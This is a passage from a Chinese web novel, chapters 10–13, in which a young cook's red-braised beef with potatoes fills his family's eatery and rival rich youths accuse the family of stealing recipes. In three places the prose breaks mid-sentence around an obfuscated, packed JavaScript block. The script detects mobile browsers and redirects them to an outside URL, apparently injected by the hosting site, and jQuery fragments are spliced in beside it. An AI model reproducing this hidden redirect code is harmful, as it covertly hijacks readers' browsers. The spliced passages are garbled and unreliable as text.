“就是你们吃了才能卖钱嘛。”黎小鱼把冰盆放下,离卢大海的位置比较近。
他蹲下来贪蹭一些凉气,在黎九州疑惑不解的目光中继续说:“外头人不知道我们的红烧牛肉多好吃,你和娘在外头吃了,叫来来往往的人路过看见。万一就有那些瞧着你们吃的香,要进来买的人呢。”
黎九州一下子就被说服了,“成,我和你娘也不在铺子里面吃,我们端门口吃去,这样还能看的清楚些。”
黎小鱼笑了笑,没再说什么,舍得吃就行。
米饭是早就闷上了的,木桶很大,满满当当的全是米饭。
黎九州看着这些量,有些担心,他怕卖不完浪费了。
黎小鱼看出他爹的心思,“爹,红烧牛肉弄出来后,给大伯父那边送些吧。正好与同僚分着吃,还能增进感情呢。”
想到自家大哥的处境,黎九州也觉得可行。
他闻着这肉可香,不信那些人能抵挡得住。
“好,我多装些大米饭过去。你大伯父爱吃着呢。”
黎小鱼见牛肉炖差不多,他再次行动起来。
用陶锅加了适量香料炒制,加入炖煮入味的牛肉,倒进去翻炒,再倒上酱油上色添味。翻炒均匀,加了水进行最后的炖煮,出锅前加入盐进行调味。
给大伯父的这份,黎小鱼没有加土豆。
给他爹娘的,因为要吸引食客,他们的里面加了土豆,不然还要解释为什么不一样。
牛肉价贵,想要卖的价格低一些,只能添加点别的,让量看上去多。
不加土豆直接售卖的话,一碗也没几块肉,实在是磕颤。
黎九州先给他大哥送了纯红烧牛肉,他赶着回来吃肉揽客,自己奢侈一把,坐了马车过去。
也不去那府衙门口,直奔小巷。
黎九章正与同僚说着话呢,就听到外头的小吏进来,将手里超大号的食盒吃力的放在桌面上,“黎大人,您的弟弟来了。说是给您送吃食。”
黎九章和两名同僚吃惊于食盒的大小,他道:“这么多?他人呢?”
放下食盒的小吏暗暗的松松手臂,“交代了一下,说是给大人送来饭馆里新的招牌菜,说完人就走了。”
“我知道了,你先下去吧。”
黎九章实在是好奇食盒里装的是什么,怎么这样的多。
一旁的两位大人目光也挪了过去,这会也快到饭点了,没想到在这已经待了这么久,便起身告辞。
黎九章也没有留人,他是知道黎家小饭馆厨子的厨艺的。
真把人留下来,叫人尝了这饭菜味道,怕是能得罪人。
等人走后,黎九章打开食盒,就闻见一股诱人的肉香。
这什么味道!怎么这么好闻!
黎九章打开食盒的速度不由得加快,彻底打开后,终于看清了菜的模样。
色泽红亮的汤汁包裹着肉块,香气随着热气扑面而来。那味道像是会勾人一样,直往鼻子里钻。咸香诱人,促使着人快些品尝。
黎九章没有犹豫,直接叫人备了碗筷来。
首先就是夹一块叫他疯狂吞咽口水的肉,夹住肉后,边往嘴里送,边伸长脖子,急不可待。
在肉入口之后,味蕾瞬间被折服。
汤汁浓郁,将肉紧密包裹着。肉质鲜嫩有味,带着微微的油脂软糯,回味有淡淡香料的味道,口感细腻。
竟然是牛肉!好吃!
黎九章吃的眼前一亮,他克制住自己不要下第二筷,这样多的量肯定不是给他一个人吃的。
筷子已经被他用过,再下第二筷,就不好给他人分了。
牛肉价贵,他来辞州这些日子,也就吃过三五次。
还都是与同僚吃酒,会点上一盘,能吃好久。
而他吃的那些,没有一道是比今日吃到的好吃。
黎家小饭馆的厨子什么水平,他是知道的。
这样好的手艺,京城都少见,到底是怎么回事?
黎九章带着疑惑将牛肉给分了,第二层是满满当当的大米饭。
他有些无语,给这么多,是怕他连米饭也吃不起了?
为了不浪费,黎九章将米饭也分了。
正好与他交好的那几位,都在府衙饭堂吃饭。叫了两个小吏,端着碗就朝着饭堂走。
辞州官场说复杂也复杂,说不复杂也不复杂。
最简单的可以分为两拨人,一拨江党,一拨各自为党。
与黎九章交好的几位,无一例外的都两袖清风。
说难听了,就是穷。
不是江党成员的,都穷。
这些人也不都是有自己的底线,也有一部分是不够格入江党,每天都绞尽脑汁的想挤进去。
只要进去了,上头手里稍微漏一点,都够他们吃的。
当黎九章给几位交好的同僚送去满满当当的一碗红烧牛肉时,几人都看傻了。
这样一碗牛肉,得不下百文吧?
黎九章家里什么情况他们也知道,也是个清官,甚至比他们兜里还干净。
一下子送来好几碗牛肉,实在是匪夷所思。
“黎大人,你不是投靠那位了吧!”
胡子花白的武大人抖着手不敢相信,边说边咽口水,这肉可真香啊!
其他四位不敢开口,怕口水兜不住,当众出丑。
“哪里的事啊。”
黎九章让手下人把牛肉和米饭给几位桌上送去,“我弟弟开的饭馆,应是请了新厨子,手艺很不错,做了好吃的就给我送了些来。”
“这牛肉味道实在是好,我便想着与几位同僚共享。还望诸位莫要嫌弃才好。”
他们是知道黎九州的事的,也知道小饭馆因为没好厨子,快要开不下去。
没想到在这节骨眼,竟然峰回路转了!
这牛肉的香气逼人,闻着就知道好吃,没人会觉得厨子厨艺不行。
“多谢黎大人。”
弄明白后,几人拿起筷子夹肉。
武大人年纪大,牙口不好。闻着肉香心里有些犯难。
这么大块的肉,还是肉质韧些的牛肉,他怕是不好嚼的。
不过这是人家好心送来的,他也不好拂了面子,一口不吃。
这样想着,武大人也夹了一筷子,想着自己吃慢点就行。
结果这肉到嘴里,牙齿一咬就散开。却又不是烂的不好吃,散开后肉味还有汤汁一起在嘴里溢开。那肉越嚼越有味,不费牙,好吃的要命。
武大人咽下一口肉,惊喜道:“黎大人你家弟弟哪里请来的厨子?我在辞州这么久,从来不知道辞州有这等手艺的厨子!”
“我也不知道,下值的时候去看看。”
黎九章神情不似做假,另外几位也尝了这牛肉,早已顾不得形象,夹一块肉就搂一口大米饭。
吃的压根停不下来,只能在心里想着下值后他们也要去看看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913076|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>实在是太好吃了,家里再没钱,还是能吃得上这顿牛肉的。
买些带回去给家里人也尝尝。
黎家小饭馆。
黎九州和周珍娘一人捧着个大海碗,搬了个长凳坐在门口,搂饭。
土豆煮的软烂,裹着汤汁,搅拌进莹白的米饭里,再带一口软烂入味的牛肉,别提有多香了。
夫妻二人吃的顾不得展示,光哐哐炫了。
他们都不敢想,要是之前没有那句无心之语,要是小鱼不是那么听话,他们这些年天天吃这样好吃的饭菜,活的该会多快乐。
路过的人瞧着夫妻二人那拼命刨饭的样子,又惊奇又忍不住看。
看着看着,不知不觉的就吞咽起口水。
也不知道咋回事,就觉得这两人吃的太香了,好好吃的感觉。
“你们吃的这是啥啊?”
有人上前询问,黎九州快速咽下嘴里的饭,抽出帕子一抹嘴,“红烧牛肉炖土豆,拌饭可香,要来一碗尝尝不?”
红烧牛肉炖土豆?没听过。
来人有些犹豫,这牛肉做菜肯定是不便宜的。
黎家小饭馆他又不是不知道,开业至今,几乎无人问津。
身为主家的贴身小厮,时不时的会有些赏。他虽然有这个钱吃牛肉,可吃一次就要花掉他小半月钱,舍不得。
还是老老实实的排队,等着取主家在珍馔楼定的餐食吧。
黎九州听黎小鱼说了,上来询问那就是有要吃的意愿。
问了后犹豫沉默要走,那八成是担心价格。
他喊住小厮,“这位郎君且等等,这是我们小饭馆出的新菜,头三日有优惠。原价一碗二十五文,现在只要十五文哩。”
十五文!
小厮再挪不动脚,别说是十五文,就算是那原价二十五文,都难买一道牛肉做的菜啊!
哪怕是小馆子,一道牛肉菜,最便宜也要五十文钱!
“当真!”
黎九州点头,“开门做生意,哪会欺客?郎君可要进去点一碗?这会人少,上菜快的很。”
“好!”
小厮也不管这黎家小饭馆平日有没有人来了,味道再不好,那也是一碗只要十五文钱的牛肉。
他也能吃上牛肉了!
一碗红烧牛肉,其实只有五块大牛肉。再次加工之前,又切了一下,成十块,其他的是炖土豆。
不然二十五文钱卖这一碗,压根回不了本,香料和牛肉一个比一个贵。更别说前三天还只要十五文。
黎小鱼想着等名声打出去了,可以定小份大份,不差钱的可以点大份,一下子吃个够。
小饭馆收拾的很干净,还在过道上放了冰盆,桌子上没有黏腻的感觉,小厮很满意。
黎九州跟进来,问了小厮要不要米饭,前三天一样有优惠,只要三文钱一碗。
原价是五文钱。
小厮点头,那当然得要。
辞州的米好吃是好吃,可量少价贵。
饭馆里面一碗差不多就是五六文,现在三文钱就能吃到,他傻了才不买。
黎九州去后厨报了一声,又端着自己的大海碗坐外头长凳上去了。
里面等菜的小厮时不时的抬头看珍馔楼排着的队伍,琢磨着时间。
他手里捏着个红头竹签,上面写着“陆伍”,轻轻的敲着桌面。
珍馔楼的卤牛肉实在是难买,明明提前预定,结果有人更早。
哪怕是预定来取的,也要排着长队等叫号。
不知道等他吃完,能不能排到他。
正出神,就被一道肉香吸引,他寻着味道转头。
看到一个大汉一手端着碗肉菜,一手端着碗大米饭。
“客官,这是你点的红烧牛肉炖土豆套餐。”
11. 第 11 章
红亮的汤汁包裹着褐色的肉丁,黄澄澄的土豆块,也被汤汁包裹住,冒着热气,拼命的散发着香气。
元夏忍不住的分泌唾液,他艰难吞咽后,立即夹了一块肉进嘴。
肉质软烂,咸香四散。汤汁在味蕾上附着片刻,又因咀嚼被带动,吞咽入腹。
牛肉不知是怎么做的,越嚼越有味道,不干不柴,口感极好。
土豆炖煮的软糯绵密,被带着肉香的汤汁浸透,也沾着肉味,好吃的不行。
元夏学着黎九州夫妻二人的吃法,弄一点汤在洁白的米饭上,又夹断一小块土豆,戳弄一下后将其与米饭搅拌。
最后再在上面盖上一块香气逼人的牛肉,这一口下去,嘴巴塞的满满的。
他吃的眯起眼睛,只觉得满足的不行。
好好吃啊!
正吃着呢,外头又进来两个人。
他们之前听到了黎九州和元夏的对话,惊讶于黎家小饭馆牛肉的便宜,不过他们没元夏手里有钱。
哪怕是十五文钱,那也要花的值才行。
要是牛肉不好吃,对他们来说就是不值得。
于是便寻思着等元夏吃上了,看看他的反应。
好吃不好吃,肯定能看出来的。
菜上来后,看着元夏迫不及待的样子,就知道是好吃的。
后面元夏更是一言不发,两眼发光的刨米饭。
二人一看,错不了,这红烧牛肉炖土豆,一定是好吃的!
进去后二人与元夏打了声招呼,他们虽然不是在一个主家伺候,但也总是会在外碰见,给各自的主家办事。
元夏嘴巴塞的鼓鼓的,只能点头。
空气中若隐若现的肉香,叫二人也无意再多攀谈。
赶紧点了单后,就找了个位置坐着等餐。
不一会,黎家小饭馆里面又多了两个拼命搂饭的小厮。
真好吃啊!比主家赏的珍馔楼卤牛肉还好吃!
一碗红烧牛肉炖土豆,配一碗大米饭,最后连汤汁都用来拌饭,吃的干干净净。
叫十几岁的正长身体的少年郎,都捧着肚子打饱嗝。
菜加饭一共十八文钱,值!
要不是实在吃不下去,他们高低得再来一碗。
这十五文钱对元夏来说完全没压力,他临走的时候还打包了一份。
告知了黎九州他主家是谁,约定明日来还碗和小食盒。
这样就不用花钱买了。
正好另外两人算是见证,证明元夏没有骗人。
那两人在吃完后,纠结一番,也掏了钱出来买一份带回去吃。
回去只要让厨房里相熟的帮忙热一下,还能省下来一碗大米饭的钱呢。
他们也是报了主家,定了明日来还碗和竹编小食盒的时间。
黎九州在这开饭馆有一段日子,他们身上穿的都是各家里小厮统一穿的,都眼熟了。
又是今天给他家饭馆开张的,对此也没多说什么。直接帮他们装好了食盒,叮嘱路上小心,别泼洒了。
……
元夏的运气很好,他拎着竹编小食盒从小饭馆出去的时候,就听到了珍馔楼的人在叫号。
正是他手中的红头竹签上写的号。
“来了来了!六五在这!”
珍馔楼的食盒漂亮又精致,竹编的小食盒没办法比。
元夏一手一个食盒,走到拐角,上了马车回宅子的马车。
“你怎么才回来!我都要饿扁了!”
凉亭里的少年穿着宽松的锦衣,脚边是冰盆。
丫鬟正拿着扇子对着冰盆扇,将寒气往少年身上赶,驱逐暑气。
少年转头看到元夏跑的满头汗,抱怨了一句后没有再发什么脾气。
元夏怕耽误了时间,都没能将自己买的食盒放回去。
他一并提来,悄悄放在凉亭的柱子下,等着伺候完主子,走的时候再带走。
麻溜的将珍馔楼的食盒提过去,放在已经摆了菜的小桌上。
食盒里只有一碟切好的卤牛肉,每片薄度均,闻着很香。
以往元夏闻一次就馋一次,口水咽的十分勤快。
今日闻着他没什么反应,将这道卤牛肉摆在公子的手边,便收拾准备退后面去。
邵怀筠打量了元夏一眼,嘿了一声,“你小子是不是背着本公子在外头偷吃什么好吃的了?”
元夏五岁那年就进了邵宅,跟在五公子后面伺候。
二人年纪相仿,从小一起长大的情谊,与其他的小厮终归是不同。
相处时间太久,邵怀筠只要看元夏一眼,就知道对方想的是什么,哪里不对劲。同理,元夏也一样。
他听到邵怀筠这样问,脸上带着笑,“什么都瞒不过公子。”
将要带回去自己吃的红烧牛肉从竹编食盒里面拿出来,这菜还热乎着,正一缕缕的往外散发着肉香。
勾的邵怀筠凑近闻了又闻,口水都流了一茬。
“这是哪来的?”
那食盒廉价的很,不可能是珍馔楼的。
而且他也了解元夏,这小子爱钱如命,即便他这些年给不少的打赏,也舍不得在珍馔楼花钱的。
“就珍馔楼对面新开的黎家小饭馆,应该是新来了厨子,牛肉做的叫一个好吃。”
元夏说着又咽咽口水,他有些不情愿的说:“公子不嫌弃的话,尝尝看?我没动过的。”
邵怀筠将那碟卤牛肉推给元夏,“瞧你那舍不得的样,你的给我吃,我的这个就给你吃了。明日再去给我排队买。”
元夏吃了黎家小饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913077|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
馆的红烧牛肉,深觉这个更好吃。
对于邵怀筠推过来的卤牛肉不是很感兴趣,但他还是低头谢赏。
邵家是辞州第一富,邵怀筠身为家中嫡出的五子,从小就是含着金汤匙出生。
什么好吃的都吃过,什么好玩的都玩过。
但他吃了从元夏那换来的红烧牛肉后,发现自己错了。
这辞州,还真有他邵怀筠没吃过的好东西。
他口中嚼着牛肉,难以形容那味道。
只知道他吃过的那些牛肉,在这道菜前,都逊色许多。
夏季天热,即便是苦寒辞州,也依旧热的人心烦气闷,没什么胃口。
邵怀筠连着七天没好好吃饭,今天他就着那碗红烧牛肉炖土豆,吃了一大碗米饭。
就连他最讨厌吃,觉得没味道的土豆,都吃了个干净。
桌子上其他摆盘精致的菜色,邵怀筠一筷子都没动。
“元夏,明天不要去珍馔楼排队了。待会就去黎家小饭馆,给公子我买份红烧牛肉回来。明天也要。”
邵怀筠嘴里还残留着红烧牛肉的咸香,他咂咂嘴,满足的很。
今日这饭吃的畅快。
邵怀筠招招手,一个端着托盘的丫鬟走来,盘子里装着鼓囊囊的荷包。
“够吗?”
元夏看着手里的银锭子,“公子,这小饭馆的牛肉卖的还挺便宜的。新菜前三日还有优惠,那一碗只要十五文,原价是二十五文。”
“这十两银子,都能让厨子来给公子连着做好几天的红烧牛肉炖土豆了。”
邵怀筠没想到这么好吃的东西,竟这样便宜。
仔细想了一下后,那碗里土豆其实挺多的。
因为煮的软烂入味,吸足了汤汁,很好吃,所以没觉得什么。
不过哪怕加了那些土豆,就以那道菜的味道,想卖贵也是完全可以的。
邵怀筠用帕子擦嘴,“那就请厨子来,悄悄的问问,看对方愿不愿意来邵家做厨子。价格随便开,公子我给得起。”
元夏点头,“好,我待会就去问问。”
邵怀筠吃饱喝足,人有点懒洋洋,起身躺在躺椅上,随意问了一句,“对了,你之前说那小饭馆在哪里来着?”
“珍馔楼对面。”
邵怀筠躺了一半不躺了,手肘撑着躺椅,“之前许家的铺子?”
“是。”
邵怀筠笑了一声躺下去。
“挖厨子的时候,对方要是不来。记得和他说一下,这铺子之前的主人,得罪了贺小侯爷。”
“眼下他们安然无恙,那是贺小侯爷还没发现。若是发现了,小侯爷折磨人的手段可多的很,让他识趣点来邵家,早点脱身为好。”
刚说完,邵怀筠就听着蝉鸣,闭目养神。
12. 第 12 章
正午的日头过了后,元夏将洗好的碗还有竹编食盒一起拿上,又去了一趟黎家小饭馆。
红烧牛肉炖土豆今日卖的很好。
元夏三人吃完后,又有不少人来。
上午准备的那些,薄利多销,已经全部卖完。
黎九州看着坐的满满当当的小饭馆,激动地都快哭出来了。
黎小鱼和卢大海在后厨忙的不行,后面周珍娘进去帮忙才好些。
元夏来的时候,小饭馆最后一波食客还未散去。
大家吃的很香,进去就听见专心扒饭的声音。
黎九州看到元夏,走了过来,“郎君不是说明日送来?怎么现在就送来了?”
“哦,我家公子有话要我对你们这的厨子说。”元夏强调道:“是做红烧牛肉的那个厨子。”
黎九州奇怪,“你家公子认识我家小鱼?”
元夏更奇怪,“你家小鱼?”
“是啊,掌勺的是我儿子小鱼,黎小鱼。”
黎九州说的时候脸上带着灿烂的笑,胸膛挺起来,很是自豪的样子。
他家小鱼多厉害啊,才一上午的功夫,就叫小饭馆坐满了人。
做的菜还好吃,只要是进来吃的,就没有一个不夸的。
元夏要说的话,全都卡在了嗓子眼。
他万万没想到,要挖的厨子,就是小饭馆东家的儿子。
那这人肯定是不会跟他走,去邵家做厨子的。
元夏将食盒给黎九州,“我家公子就是想说厨子做的很好吃,还想再买两份。”
黎九州接过食盒,有些为难,“哎呀,都卖完了。想要吃,怕是要等到晚上才行。”
闻言元夏松一口气,只要不是等到明天就行。
“那没事,我先预定两份,晚上的时候来拿。”
“成,给郎君留着。”
……
黎九章下值后,与他送了牛肉的几名同僚,一起去了黎家小饭馆。
这小饭馆距离府衙有一点距离,马车走了两刻钟才到。
刚下马车,黎九章就见到小饭馆外面挂着灯笼,里面点着油灯,一片昏黄。
有不少人在里面坐着,看穿着是周围铺子打杂的伙计。
高门大院里的人讲规矩,天黑后奴仆们若不是跟着主家人出来伺候,是不准擅自出来的。
白天出来,那也是有正经的理由才行。
倒是周围铺子的伙计们,白天瞧着黎家小饭馆进进出出老些人。拉着问一句,才知道黎家小饭馆出了道新菜。
好吃,牛肉,优惠,十五文。
这四个结合在一起,手里有点铜钱,想解解馋的就控制不住了。
黎小鱼将受众群体,还有售卖价格定的恰到好处。
让今日的黎家小饭馆,座无虚席。
黎九章来的时候都没地方坐,黎九州看到人,还以为自己眼花看错了。
“大哥?你咋来了啊!”
说不高兴是假的,小饭馆开业至今,这还是他大哥头一回来。
黎九章提前换了常服,几位同僚身着官服不方便下来,便在马车上等着。
由家里的车夫跟着黎九章前来购买,确保不会买错了。
“来饭馆还能干什么,自然是吃饭。”
黎九章扫了一圈,没位置。
黎九州看一眼他大哥身后的人,以为是手下,高兴道:“后院有个小桌,几位不介意的话,可以去那吃。正好熏过了艾草,不怕有蚊虫,还凉快。”
黎九章摇头,“不是在这吃,要带走。”
“那也能去后面坐着等,哪能让你们站在这啊。”
黎九州带着几人去了后院,顺便走后厨报了菜。
掀开帘子的时候,黎九章离得近,往里面瞥了一眼。
不看不知道,一看吓一跳。
他竟然看见他大侄子在里面炒菜!
安顿好几名车夫,让他们先坐,黎九章拉过弟弟,“我刚刚怎么看见小鱼在后厨?”
提起这个黎九州就高兴,“哎呀大哥,你不知道,我家小鱼是个天才哩!”
黎九章皱眉问:“什么意思?”
黎九州也没隐瞒,将事情的来龙去脉和黎九章说了。
听的黎九章眉头越皱越深,他沉吟片刻,“小鱼有些不对劲,你这当爹的多关注一下他。”
“大哥你可真冤枉我了,我可关注我家小鱼了。”黎九州为自己辩驳完,又替儿子辩驳,“再说,我家小鱼多好一孩子,哪里不对劲了?我瞧着对劲的很嘛。”
知道弟弟的倔劲又犯了,黎九章也不再多费唇舌。
反正他该说的都说了,听不听的随他去吧。
只是他也确实没想到侄子还有这手艺,中午的那牛肉味道他可是想了一下午。
实在是好吃。
同僚们吃了后也是念念不忘,下值了都心照不宣的来了小饭馆。
照着趋势下去,这小饭馆即便是没有他的帮忙,也能顺顺当当的走一段。
*
邵怀筠没能挖到厨子,他也没恼。
只让元夏每天去两趟,买红烧牛肉回来。
他虽然与那群武将子弟没多少来往,但同在一个书院,也知道贺小侯爷,快从侯府出来了。
这人也不知什么毛病,每年至少有两次,会将自己关在府里,说是专心打磨耳饰。
可每次出来的第一件事,就是四处找人晦气,路过的蚂蚁他都能叫人连蚁带窝全给端了。
红烧牛肉的味道不错,等过几天,贺小侯爷做完他新一批心爱的耳饰出来后,要是对方找小饭馆的晦气,他会想办法偷偷将人弄回邵家。
让那叫黎小鱼的,做他家的厨子,天天给他做红烧牛肉吃。
这两日里,黎九州和周珍娘并没有再坐在门口吃饭。
小饭馆里面坐着满满的人,都是有钱人家的小厮丫鬟,还有周围铺子的伙计,掌柜。
街上又有了来往的行商,瞧着小饭馆坐满了人,就想着味道应该不差。
只要是进去吃过一次的,就没有说不好吃的人。
黎家小饭馆的生意,更红火了些。
但黎小鱼累惨了。
哪怕有他爹娘还有卢大海帮忙也没用,还是要招人。
不过他人还没招到,麻烦先来了。
珍馔楼内,本该在书院里听夫子授课的几名少年,正坐在雅间内,开着窗户,看着楼下排着队的小饭馆。
裴叔群依旧一袭紫衣,小臂搭在凌少卿的肩膀上,小声问道:“这家小饭馆不是说要开不下去了?怎么突然一下起死回生了?”
“谁知道。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913078|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>凌少卿语气僵硬,脸色不太好看。
裴叔群笑了一声,“你不知道脸色还这么臭?”
凌少卿盯着楼下的小饭馆,“前段时间,那饭馆的东家在我们珍馔楼买过不少的菜。”
裴叔群听明白了言下之意,“你怀疑他们偷师?”
“不然怎么解释他们的生意突然一下子好了?”凌少卿不屑道:“用这种手段,真叫人不齿!”
因为过于生气,凌少卿没能控制住音量。
他脸色一变,下一瞬,就听见一道带着浓浓的烦躁气息的警告,“闭嘴。”
裴叔群眉毛一挑,收回手臂,倚靠在窗户边,做了个嘘声的手势。
凌少卿瞪了他一眼,都怪这厮过来勾他讲话。
他转过头去,见长腿交叠搭在桌上,上半身靠着椅背睡着的少年睁开了眼睛。
少年样貌出众,鼻梁挺拔,眼眸深邃漂亮。他留有着一头长卷发,左耳带着金托红宝石的耳坠,周身气度不凡,贵气难掩。
凌少卿小声的叫了一声,“小侯爷。”
贺辞微微侧眸,压着心头的烦躁感,“既然怀疑,就去问个清楚。”
裴叔群凑了上来,“小侯爷与我们一起去?那铺子之前是许家的,这家人敢在那节骨眼上买了铺子叫许家人凑银钱,可见不是什么好人,成心与小侯爷作对。”
“不去。”
简单的两个字后,贺辞再次闭上眼睛。
意思很明显,别再发出声音,他要睡觉。
裴叔群对着凌少卿摊手耸肩,又指了指门口,对其他几人用口型说着,“走?”
凌少卿点头,其他三人也紧随其后,仿佛后面有狗撵一样,快速离开。
雅间内只有贺辞一人,阳光透过窗户洒在他的身上,像是在他身上镀了一层金光。
楼下很快就响起了不同于之前的嘈杂声。
凌少卿最厌恶偷窃之人。
房掌柜都盯过对面,看着对面买了些香料进去。
他家卤牛肉的秘方,就是香料。
一个小小的饭馆,若不是偷了他家的东西,又怎么会在短时间内知道用香料做牛肉,还引来这么多的食客。
以为改个名字,叫什么红烧牛肉炖土豆,就是他们的东西了?
呸!
他今天一定要对方见识一下他的厉害!叫他们再也不敢嚣张!
今天是小饭馆优惠最后一天,人比前两天还要多。
黎小鱼和卢大海在后厨忙的就像两个高速旋转的陀螺,帮忙的周珍娘也忙的晕头转向。
黎九州在外面招呼客人,嗓子都要喊冒烟了。
凌少卿带着人到小饭馆门口的时候,黎九州还以为来了新客。
赶紧出来准备迎人,让对方先等等。
就瞧着他们的衣着不对劲。
这三日来他们这小饭馆吃饭的,可没有一人是穿绫罗绸缎的贵人。
好在京城是个掉块牌匾下来,都能砸中十几个贵人的地方。
黎九州在那待了多年,面对这些人,不会显得多局促。
“几位贵客,小店眼下没有位置,不介意的话可以等一等。”
凌少卿翻了个白眼,“多大的脸面,你以为小爷我是来你这吃饭的?!”
黎九州了然,懂了,这波是来找茬的。
13. 第 13 章
凌少卿一行五人,皆衣着华贵,年岁瞧着也不大。
黎九州有些头疼,这个年纪的少年郎,最是难缠。
他家小鱼除外。
黎九州一时间也想不到哪里得罪了什么人,一头雾水的问:“几位小郎君,来此处若不是吃饭,可是有其他要事?”
“哼,敢做不敢当的孬货。”
柳玉攀与凌少卿是表兄弟,自幼便借住在凌家。与凌少卿一同长大,又一同上学,感情很是深厚。
凌少卿有些话说不出口,柳玉攀却不在意。上前一步,对着黎九州就是一顿呲。
突然跳出来一个模样瞧着斯斯文文的少年,黎九州还以为是要来讲道理。
结果张口就骂了他一句,他都没反应过来。
这孩子咋这样啊!
他想息事宁人退一步,不想惹麻烦,再给他大哥添堵。
谁知那斯文少年又咄咄逼人的来了一句,“叫你们这的厨子也出来见见人,有脸偷师,没脸出来?好歹是个人,别像那阴沟臭虫老鼠一般躲着。”
黎九州浓黑的眉毛直接倒竖,骂他可以,骂他儿子不行。
“小郎君,我看你穿的人模人样的,怎么爹娘没教你怎么说话?谁偷师了?我连你们是谁都不知道!”
柳玉攀面色一红,气的。
凌少卿赶紧拉了一下他的衣袖,“表弟!”
他是来找人算账没错,可他并不想柳玉攀因这事闯祸。
柳玉攀的性子与他名字、长相是完全相反的。
他气起来,哪是凌少卿能拉住的。
当下就要动手,他还就不信收拾不了一个开小饭馆的了!
外面排着队的人,大部分都认识凌少卿五人。
他们不敢上前阻拦,躲得远远的。
店里的人也不敢出来,再香的饭菜,此时也没那心情吃了。
黎小鱼在后厨听不到外面的动静,是有个食客对着后厨的方向喊了一声,“快出来!你们东家要被人打了!”
顾不得再继续做菜,黎小鱼立即放下手里的木勺,直接跑了出去。
周珍娘慌了神,跟着黎小鱼一起离开后厨。
后厨只剩下卢大海,他也不放心。
东家这一家子两个大人是个软性子的,小的厨艺厉害归厉害,可他就没见过这样温和又娇气的小郎君。
这三天后厨很忙,火一直开着,温度居高不下,冰盆其实没有多大的用处。
黎小鱼热的厉害,又要一直不停地做菜,情绪上有些烦闷。
他尽可能的放空自己,不让自己被情绪裹挟。
可当他反应过来的时候,已经潸然泪下,幸亏锅盖上了盖子。
因为在后厨,黎小鱼也不好等自己情绪平复后再擦眼泪。
他心里清楚,只要天气一直这样闷热,点菜的一直这样多,他的情绪就不会平复。
为避免眼泪滴到锅里,黎小鱼时不时的就要擦一下。
帕子都浸透好几个。
起初卢大海还以为小东家是流汗,后面仔细一看,好嘛,谁家的汗是从眼眶里流出来的?
卢大海当时瞧见黎小鱼默默的流泪,人都吓傻了。
还以为是他做了什么,把人给气哭了。
正告罪着,就见黎小鱼一边流泪一边对他说:“和你没关系,是太热了。”
他活了二十多年,头一次见这个年纪的小郎君,因为太热而掉眼泪的。
可不就是娇气嘛。
不过卢大海没有看低的意思,只觉得这样的人应当富养着。
而不是出现在逼仄闷热的后厨里面。
说小东家温和,那是每次小东家在教他做菜的时候,声音都是轻轻的,讲的也详细。
他做不好也不会动辄打骂,只会让他多看多背多学,脾气好的不行。
搞得他每次做错,心里都虚的慌,觉得对不起人。
除了教他的时候,寻常时间小东家待人也好。总是笑眯眯的喊他卢厨子,怕他热会把冰盆故意往他腿边挪。
明明自己都热哭了,也不忘记他。
这一家子的软性子,小东家更是像个小兔子似得,叫卢大海实在不放心。
后厨开火不能没人看着,他怕出事,干脆把火给熄了,先去给东家他们撑场子。
毕竟整个小饭馆,也就他最能唬人了。
卢大海出去的时候,就见有个穿浅绿衣服的少年被几人拉着。他的东家正捂着头,夫人一脸着急的要查看。
小东家挡在夫妻二人的身前,背对着他,看不清是何模样。
人的脑袋可金贵,不能磕碰。
他也担心黎九州头上的伤,大步上前询问。
黎小鱼听到卢大海的声音,心里没有那么没底了。
卢厨子的体格够大,真要是再动手,好歹能拦着点。
柳玉攀瞪着眼睛对拦着他的凌少卿道:“他们偷姨母的东西,我要教训,你拦着我干什么!”
“表弟!”
凌少卿快要拉不住,他吼了一声后,又小声的在柳玉攀耳边道:“你只是想打人的话,我也不会拦着你。可你看看你这样子?你是想杀人啊!”
黎小鱼来这一会,也搞清楚了来龙去脉。
原来是珍馔楼背后的东家,以为他偷师了他们的菜谱,所以来教训他了。
因为他爹的头被打了一拳,自己又被如此冤枉误解,当着众人的面被骂小偷,黎小鱼内心情绪翻涌,怎么也压不住。
他甚至不敢张口说话,只要开口,他一定会哭。
这该死的眼泪!简直就是在限制他!
黎小鱼深吸一口气,先仔细的观察对方几人。
听了凌少卿的话,柳玉攀停下了动作。
他看向对面,正好瞧着与他年岁相仿的少年也看了过来。
柳玉攀恶劣的笑了一声。
“看什么看!再看把你眼珠子抠出来!”
黎小鱼咬牙,他好想骂人啊!
